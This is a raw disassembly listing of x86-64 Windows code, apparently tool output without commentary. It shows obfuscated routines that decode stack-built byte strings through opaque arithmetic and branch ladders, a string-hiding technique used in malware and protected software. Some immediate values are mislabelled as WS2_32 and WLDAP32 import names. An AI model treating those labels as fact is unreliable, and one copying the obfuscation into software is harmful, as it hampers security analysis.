mov byte [rbp + reloc.WS2_32.dll_listen1f], 0xd
mov byte [rbp + 0xd20], 0xfc
mov byte [rbp + 0xd21], Ordinal_50
mov byte [rbp + 0xd22], Ordinal_79
mov byte [rbp + 0xd23], 0xfb
mov byte [rbp + 0xd24], Ordinal_46
mov byte [rbp + 0xd25], 0x54
mov byte [rbp + 0xd26], 0x58
mov byte [rbp + 0xd27], 0x48
mov byte [rbp + 0xd28], Ordinal_79
mov byte [rbp + 0xd29], gethostname
mov byte [rbp + 0xd2a], 0x5d
mov byte [rbp + 0xd2b], Ordinal_79
mov byte [rbp + 0xd2c], 0xf0
mov byte [rbp + 0xd2d], gethostname
mov byte [rbp + 0xd2e], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd2f], xmm0
mov byte [rbp + 0xd3f], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x14010e75a
movzx r8d, byte [rbp + r9 + 0xcd0]
mov r11, r8
cmp rdi, r9
ja 0x14010e751
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010dc13
movabs rcx, 0x32bb86de180626b2
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x22
jmp 0x14010dc4d
je 0x14010e6c7
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010e63c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010e609
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010e5e4
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010e59b
cmp r10, r9
ja 0x14010e748
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010dc7e
movabs rcx, 0x29621037f8812c9a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
jmp 0x14010dcbf
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010e587
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010e567
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010e53e
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010e518
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14010e4f6
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010e275
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010e254
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010e231
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14010e20b
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010e1ea
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010e1c8
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14010e1a6
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010e185
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14010e15f
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010e13c
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14010dccc
lea rdi, [r10 + 0x41]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010e722
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010e6ff
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14010decd
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14010dea7
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14010de81
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14010e0df
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14010e05b
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14010e03a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010e010
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14010dccc
lea rdi, [r10 + 0x40]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14010dfea
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010dfd6
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010dfb4
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14010df92
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14010df7e
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010df5c
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14010df3a
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010df14
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010def0
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010dccc
lea rdi, [r10 + 3]
lea r10, [rdi + 2]
jmp 0x14010dccc
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010dcbf
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010dc4d
movabs rdx, 0xc0e41f1eab3e67de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x14010dbdc
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010e5b7
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e5df
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14010e601
movabs rcx, 0x1aab588b33e47ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010e49a
movabs rdx, 0xb5344acf03d82f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010e54d
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14010e62a
movabs rcx, 0xea462f56a3bf9478
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x14010e65c
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x14010e16e
movabs rdx, 0x1f5813de43a6f9b0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e6e8
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
mov byte [rbp + r9 + 0xcd0], bl
jmp 0x14010e6f7
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010e0ab
movabs rcx, 0x56c0560f6b6f9d6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
cmp rdi, 6
jae 0x14010e474
lea rax, [r10 + 0x42]
cmp rdi, rax
jbe 0x14010e3ce
movabs rdx, 0x40113323b1f86504
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1c
add bl, dl
cmp r10, 5
jb 0x14010e02d
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010e5b9
movabs rcx, 0xf14948533b63500a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
lea rax, [r10 + rdi]
cmp rax, r14
je 0x14010e4c8
lea rax, [r10 + 0x64]
cmp rdi, rax
jbe 0x14010e32b
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010e078
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14010e6e8
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e690
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010e4ec
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14010e62a
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14010e55f
movabs rdx, 0xfcf91ca2e2c988a8
mov ecx, 0x34
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010e495
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010e601
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14010e5df
movabs rdx, 0xcc93f36e52a4a07c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x14010e5b7
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14010e2a4
movabs rdx, 0x32bb86de180626b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e0fc
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010e2cf
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14010e6e8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010e2fb
movabs rdx, 0xb83b2e2c210ea698
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x14010e690
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010e0fc
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5c
jmp 0x14010e55f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010e348
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
jmp 0x14010deff
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010e373
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14010e601
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010e39e
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14010e62a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010e078
movabs rdx, 0xdcf0831109cd5626
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
jmp 0x14010e65c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010e3fd
movabs rdx, 0xa58840dfe204b268
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010e6e8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010e428
movabs rcx, 0x70765c58421d4d30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14010e65c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010e445
movabs rdx, 0xa0db858cd242355c
mov ecx, 0x3e
jmp 0x14010e1f9
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010e0ad
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010e601
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0xcd0]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r8b
movabs rcx, 0xceea5117da85df02
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0xe
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0xcd0], r8b
jmp 0x14010e55f
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xcd0]
add bl, dl
add bl, r8b
jmp 0x14010e65c
movabs rcx, 0xefa3705d48d74a56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14010e65c
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e62a
movabs rdx, 0x24b554e4e8beaf8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
jmp 0x14010e62a
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x14010e601
movabs rdx, 0x8ed91df4288d79fe
mov ecx, 7
jmp 0x14010deff
movabs rdx, 0xc3eb027bc874df36
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
add bl, dl
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x52
add r8b, cl
mov byte [rbp + r9 + 0xcd0], r8b
add r10, r15
jmp 0x14010e601
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
sub r9, r15
jmp 0x14010e6f7
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010e6f7
mov r8, r11
movabs rax, 0x6320b012a82b0ede
add rax, r9
and r11b, al
add r11b, r11b
sub al, r11b
lea ebx, [r8 + rax]
sub bl, 0x12
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xcd0], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xcd0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010e6e8
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0xcd0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010dbc9
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x56
jmp 0x14010dbc6
movabs rdx, 0xf5f603a64b25cd16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010dbb6
lea rdx, [rbp + 0x1620c68]
jmp 0x14010e761
lea rdx, [rbp + 0x168331a]
jmp 0x14010e761
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x1060]
call fcn.1400889c0
lea rcx, [rbp + 0x1060]
call fcn.1401aa82c
mov byte [rbp + 0x1e0], __WSAFDIsSet
mov byte [rbp + 0x1e1], 0x41
mov byte [rbp + 0x1e2], WSACleanup
mov byte [rbp + 0x1e3], 0x76
mov byte [rbp + 0x1e4], 0x46
mov byte [rbp + 0x1e5], 0x68
mov byte [rbp + 0x1e6], 0xb4
mov byte [rbp + 0x1e7], Ordinal_79
mov byte [rbp + 0x1e8], Ordinal_79
mov byte [rbp + 0x1e9], Ordinal_79
mov byte [rbp + 0x1ea], Ordinal_200
xor eax, eax
mov dword [rbp + 0x1eb], eax
mov word [rbp + 0x1ef], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x14010f216
movzx r8d, byte [rbp + r9 + 0x1e0]
mov r11, r8
cmp rdi, r9
ja 0x14010f20d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010e837
movabs rsi, 0xf4683f0d7d443fe2
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x2e
jmp 0x14010e86e
je 0x14010f180
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010f0f8
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010f0cf
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010f085
movabs rsi, 0xf4683f0d7d443fe2
cmp r10, r9
ja 0x14010f204
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x14010e897
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x14010ea20
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010f066
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010f047
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010f011
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010efef
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010efcd
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010ecff
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010ecd9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010ecb7
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010ec95
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14010ec74
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010ec52
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010ec3e
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x200]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010f1de
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010f1b8
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14010ea5d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010ea37
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010ea11
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14010eb76
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14010eb65
lea rdi, [r10 + 9]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010eb42
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010eb2e
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010eb0c
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14010eaea
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010eac4
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14010eaa2
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010ea80
lea rdi, [r10 + 4]
lea r10, [rdi + 0xa]
jmp 0x14010e8e5
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e8d8
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e86e
movabs rdx, 0xe2f9401d0efdb02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14010e7ff
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14010f0f0
movabs rcx, 0xa9f7e68945306d04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x14010ef74
movabs rdx, 0xc127686e4aa7ed40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010f032
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14010f035
movabs rcx, 0xef866c385596edb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14010f119
movabs rdx, 0x6b5ee1d5b0e6df4
mov ecx, Ordinal_46
jmp 0x14010ed68
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14010f1a1
movabs rdx, 0x863b3888f91faf3e
mov ecx, Ordinal_41
jmp 0x14010ebbf
movabs rcx, 0x9d6aba6dfe972f7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14010efa3
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14010edec
movabs rdx, 0x3cd70636d94338da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x64
jae 0x14010ef4b
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x14010ee9c
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 0x20
jb 0x14010ef3e
movabs rcx, 0x61891f5fe931740c
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010f0a2
movabs rdx, 0x90dd8e52b7fdf1f0
mov ecx, Ordinal_60
jmp 0x14010ed97
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x14010f032
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010ef6f
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010f0f0
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14010f0ca
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010f0a2
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010ed21
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2e
jmp 0x14010eb93
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010ed50
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010f1a1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010ed7f
movabs rdx, 0x1ead65187bafad8
mov ecx, recv
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010f14b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010edae
movabs rdx, 0xd38bd2877ccbfa60
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010f035
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010edcb
movabs rdx, 0xbc5c50a277547a24
mov ecx, 2
jmp 0x14010f020
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010eb93
movabs rdx, 0x8dfd4cd86c6579ac
mov ecx, Ordinal_41
jmp 0x14010f0de
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010ee17
movabs rcx, 0x25a78451d3cbb89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x14010f0a2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010ee42
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14010f0f0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ee6d
movabs rcx, 0x9a8a78f3b2feb736
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14010f119
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010ebd1
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14010f1a1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010eec7
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14010f1a1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010eef2
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14010f035
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ef0f
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010f020
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010ec0c
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010f0f0
mov byte [rbp + r9 + 0x1e0], bl
jmp 0x14010f1b0
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x1e0]
add bl, dl
add bl, r8b
movabs rcx, 0x3ec1dc8860fe33b2
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, bl
mov byte [rbp + r9 + 0x1e0], dl
jmp 0x14010f032
movabs rcx, 0x332a1b95de427394
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x1e0]
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14010f119
